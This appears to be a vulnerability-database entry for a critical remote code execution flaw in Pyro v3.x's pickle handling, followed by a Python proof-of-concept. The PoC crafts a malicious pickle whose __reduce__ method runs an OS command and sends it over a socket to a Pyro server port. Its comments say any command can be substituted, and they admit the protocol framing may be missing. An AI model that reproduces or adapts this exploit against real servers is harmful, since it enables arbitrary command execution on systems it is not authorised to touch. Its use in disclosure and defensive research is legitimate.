An issue in the <code>pickle</code> protocol of Pyro v3.x allows attackers to execute arbitrary code via supplying a crafted pickled string message.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Pyro v3.x
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle
import os
import socket
# Target configuration
TARGET_HOST = '127.0.0.1'
TARGET_PORT = 9090 # Default Pyro port might vary
# Malicious payload generation using pickle
# __reduce__ returns a tuple (callable, args) that pickle executes during deserialization
class MaliciousPayload:
def __reduce__(self):
# Execute 'id' command (can be replaced with any command)
return (os.system, ('whoami',))
# Create the pickled malicious object
malicious_data = pickle.dumps(MaliciousPayload())
print(f"[+] Sending malicious payload of length {len(malicious_data)}...")
# Send payload to the vulnerable Pyro server
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_HOST, TARGET_PORT))
# Depending on the specific Pyro protocol implementation,
# headers or specific framing might be required.
# This demonstrates the raw concept of sending the pickle data.
s.sendall(malicious_data)
print("[+] Payload sent successfully.")
s.close()
except Exception as e:
print(f"[-] Error: {e}")